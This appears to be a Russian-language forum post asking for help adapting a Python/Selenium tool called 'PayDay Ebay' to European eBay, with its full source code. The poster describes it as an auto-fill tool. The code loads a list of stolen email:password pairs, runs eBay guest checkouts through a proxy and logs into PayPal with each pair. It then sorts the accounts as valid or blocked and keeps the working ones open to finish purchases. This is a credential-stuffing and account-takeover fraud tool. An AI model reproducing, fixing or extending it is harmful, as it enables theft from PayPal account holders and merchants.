Проблема (Вопрос) заключается …
Я попытался сделать авто вбив данных (имя, фамилия, адрес и тд)
У меня получилось прога, которая работает только на русском ебее, а мне нужно на европейском ебее
У меня не получилось подогнать прогу под еу ебей, выбивает ошибку подключения
Код
from selenium import webdriver
import selenium
from tkinter import ttk
import tkinter
from tkinter.filedialog import askopenfilename
from selenium.webdriver.support.ui import Select
from selenium.webdriver.remote.command import Command
from time import sleep
import threading
import time
import datetime
import random
######################################################################################
# Constants
label_x = 10
font = 'Arial 10'
button_width = 20
color = 'white'
current_path = '/'
file_time = datetime.datetime.now().strftime('%y-%m-%d %H-%M-%S')
# Основное окно приложения
root = tkinter.Tk()
root.title('PayDay Ebay')
root.geometry('290x350')
root.configure(bg='white')
root.iconbitmap('icon.ico')
# Элементы гуи
entry_1 = ttk.Entry()
entry_2 = ttk.Entry()
entry_3 = ttk.Entry()
entry_4 = ttk.Entry()
entry_5 = ttk.Entry()
entry_6 = ttk.Entry()
entry_7 = ttk.Entry()
entry_8 = ttk.Entry()
entry_9 = ttk.Entry()
entry_10 = ttk.Entry()
label_1 = tkinter.Label(text='firstName:', bg=color, font=font)
label_2 = tkinter.Label(text='lastName:', bg=color, font=font)
label_3 = tkinter.Label(text='country:', bg=color, font=font)
label_4 = tkinter.Label(text='address1:', bg=color, font=font)
label_5 = tkinter.Label(text='city:', bg=color, font=font)
label_6 = tkinter.Label(text='state:', bg=color, font=font)
label_7 = tkinter.Label(text='zip:', bg=color, font=font)
label_8 = tkinter.Label(text='email_for_address:', bg=color, font=font)
label_9 = tkinter.Label(text='start_page:', bg=color, font=font)
label_10 = tkinter.Label(text='Proxy type:', bg=color, font=font)
# Упаковщики
label_1.place(x=label_x, y=10)
label_2.place(x=label_x, y=40)
label_3.place(x=label_x, y=70)
label_4.place(x=label_x, y=100)
label_5.place(x=label_x, y=130)
label_6.place(x=label_x, y=160)
label_7.place(x=label_x, y=190)
label_8.place(x=label_x, y=220)
label_9.place(x=label_x, y=250)
label_10.place(x=label_x, y=280)
entry_1.place(x=80, y=10)
entry_2.place(x=80, y=40)
entry_3.place(x=70, y=70)
entry_4.place(x=80, y=100)
entry_5.place(x=45, y=130)
entry_6.place(x=50, y=160)
entry_7.place(x=40, y=190)
entry_8.place(x=125, y=220)
entry_9.place(x=85, y=250)
entry_10.place(x=85, y=280)
# Открываем нужные файлы
log = open(file_time+'_log.txt', 'w')
add_cart = open(file_time+'_add_cart.txt', 'w')
new_pass = open(file_time+'_create_new_password.txt', 'w')
link_card = open(file_time+'_link_card.txt', 'w')
merch = open(file_time+'_return_to_merchant.txt', 'w')
security = open(file_time+'_security_check_file.txt', 'w')
wrong_pass = open(file_time+'_wrong_password.txt', 'w')
made = open(file_time+'_Отработка.txt', 'w')
goods = open(file_time+'_goods.txt', 'w')
def get_browser_status(driver):
try:
driver.execute(Command.STATUS)
return(True)
except:
return(False)
######################################################################################
def load_base():
global base_list
base_list = []
name = askopenfilename()
with open(name, 'r', encoding='utf-8') as base_file:
base_list = base_file.readlines()
def start():
# Настройки
firstName = entry_1.get()
# Фамилия
lastName = entry_2.get()
# Страна
country = entry_3.get()
# Адрес
address1 = entry_4.get()
# Город
city = entry_5.get()
# Регион
state = entry_6.get()
# Почтовый индекс
zip = entry_7.get()
# Емейл
email_for_adres = entry_8.get()
# Ссылка на то, что хотим купить
start_page = entry_9.get()
# КОНЕЦ НАСТРОЙКИ
email = ''
line_num = 0
while line_num < len(base_list):
try:
#Рандомная генерация номера телефона
dayphone1 = '895' + str(random.randint(1,9)) + str(random.randint(1,7)) + str(random.randint(1,7)) + str(random.randint(1,9)) + str(random.randint(1,8)) + str(random.randint(1,5)) + str(random.randint(1,7)) + str(random.randint(1,9))
base_line_good = base_list[line_num].strip()
dvoetochie = base_line_good.find(':')
email = base_line_good[0 : dvoetochie]
password = base_line_good[dvoetochie + 1 : len(base_line_good)]
print(str(line_num + 1) + ': ' + email + ':' + password)
profile = webdriver.ChromeOptions()
#Настройка прокси
######################################################################################
proxy = '127.0.0.1'
proxy_port = 1080 # ЧИСЛО
prox = proxy+':'+str(proxy_port)
if entry_10.get() == '1':
profile.add_argument('proxy-server=socks5://'+prox)
elif entry_10.get() == '2':
profile.add_argument('proxy-server=http://' + prox)
else:
pass
######################################################################################
browser = webdriver.Chrome(chrome_options=profile)
browser.get(start_page)
#Выбираем первый параметр:
# sleep(3)
# param = browser.find_element_by_id('msku-sel-1')
# all_options = param.find_elements_by_tag_name('option')
# for option in all_options:
# if option.get_attribute('value') == '0':
# option.click()
# break
# sleep(3)
# param = browser.find_element_by_id('msku-sel-2')
# all_options = param.find_elements_by_tag_name('option')
# for option in all_options:
# if option.get_attribute('value') == '5':
# option.click()
# break
#Вводим количество товаров:
# count = browser.find_element_by_id('qtyTextBox')
# count.clear()
# count.send_keys('3')
######################################################################################
#Жмем на кпноку "Купить сейчас":
buy_it_now = browser.find_element_by_id('binBtn_btn')
buy_it_now.click()
#Входим как гость
guest_continue = browser.find_element_by_id('gtChk')
guest_continue.click()
#Заполняем адрес, переключаясь на фрейм заполнения адреса
browser.switch_to.frame('shpFrame')
sleep(1)
select = Select(browser.find_element_by_name('country'))
select.select_by_visible_text(country)
sleep(1)
#select.select_by_index(index)
#select.select_by_visible_text("text")
#select.select_by_value(value)
#Имя
browser.find_element_by_id('firstName').send_keys(firstName)
#Фамилия
browser.find_element_by_id('lastName').send_keys(lastName)
#Адрес
browser.find_element_by_id('address1').send_keys(address1)
#Город
browser.find_element_by_id('city').send_keys(city)
#Регион
browser.find_element_by_id('state').send_keys(state)
#Почтовый индекс
browser.find_element_by_id('zip').send_keys(zip)
#Номер телефона
browser.find_element_by_id('dayphone1').send_keys(dayphone1)
#Емейл
browser.find_element_by_id('email').send_keys(email)
#Подтверждение мыла
browser.find_element_by_id('confirmEmail').send_keys(email)
#Продолжить в качестве гостя кнопка
browser.switch_to_default_content()
browser.find_element_by_id('but_address_continue').click()
#Выбираем чем оплачивать
sleep(1)
browser.find_element_by_id('PAYPAL').click()
sleep(1)
#Жмем оплату
browser.find_element_by_id('but_ryp_continue').click()
#Вход в палку
sleep(1)
#paypal_email = browser.find_element_by_id('login_email')
#paypal_email.clear()
#paypal_email.send_keys(email)
#sleep(1)
paypal_password = browser.find_element_by_id('login_password')
paypal_password.clear()
paypal_password.send_keys(password)
sleep(1)
paypal_submit = browser.find_element_by_id('submitLogin')
paypal_submit.click()
######################################################################################
#Проверка результата после входа
made.write(base_line_good + '\n')
sleep(7)
source = browser.page_source
if 'Verify your account' in source:
security.write(base_line_good+'\n')
log.write(base_line_good + " Status: Security check\n")
print('Status: Security check')
browser.quit()
elif 'return.x' in source:
print('Status: Return to merchant')
log.write(base_line_good + ' Status: Return to merchant\n')
merch.write(base_line_good+'\n')
browser.quit()
elif 'Please check your email address and password and try again' in source:
wrong_pass.write(base_line_good+'\n')
log.write(base_line_good + ' Status: Invalid password\n')
print('Status: Invalid password')
browser.quit()
elif 'Link or update your debit or credit card to make an instant payment' in source:
add_cart.write(base_line_good+'\n')
log.write(base_line_good + ' Status: Link You Card\n')
print('Status: Link You Card')
browser.quit()
elif 'Add a new debit or credit card' in source:
add_card.write(base_line_good+'\n')
log.write(base_line_good + ' Status: Add new card\n')
print('Status: Add new card')
browser.quit()
elif 'Security Measures' in source:
security.write(base_line_good+'\n')
log.write(base_line_good + ' Security Measures\n')
print('Security Measures')
browser.quit()
elif 'Vérification de sécurité' in source:
security.write(base_line_good + '\n')
log.write(base_line_good + ' Security Measures\n')
print('Security Measures')
browser.quit()
elif 'Create new password' in source:
new_pass.write(base_line_good+'\n')
log.write(base_line_good + ' Create new password\n')
print('Create new password')
browser.quit()
elif 'Link a new debit' in source:
add_card.write(base_line_good+'\n')
log.write(base_line_good + ' Link a new debit card\n')
print('Link a new debit card')
browser.quit()
#Добавляет в файл хорошие комбинации емейл - пароль, или когда браузер закрывается вами в ручную, после входа в Пейпал.
else:
goods.write(base_line_good+'\n')
log.write(base_line_good + ' Paypal good\n')
while True:
sleep(2)
if get_browser_status(browser) == True:
pass
else:
sleep(2)
break
browser.quit()
except selenium.common.exceptions.NoSuchElementException:
print('Connection error. Reconnect')
sleep(2)
browser.quit()
except selenium.common.exceptions.WebDriverException:
print('Connection error. Reconnect')
sleep(2)
browser.quit()
except KeyboardInterrupt:
print('Abort Keyboard')
break
else:
line_num += 1
def start_1():
t = threading.Thread(target=start)
t.start()
# print('████████████████ END WORK █████████████████')
# Кнопки, здесь расположены, т.к. нужно, чтобы они распознавали функции
button_1 = ttk.Button(text='Load base', command=load_base)
button_1['width'] = button_width
button_1.place(x=10, y=310)
button_2 = ttk.Button(text='Start', command=start_1)
button_2['width'] = button_width
button_2.place(x=150, y=310)
root.mainloop() # Команда для вывода основного окна
root.quit() # Выход после закрытия
log.close()
add_cart.close()
new_pass.close()
made.close()
goods.close()
wrong_pass.close()
merch.close()
security.close()
link_card.close()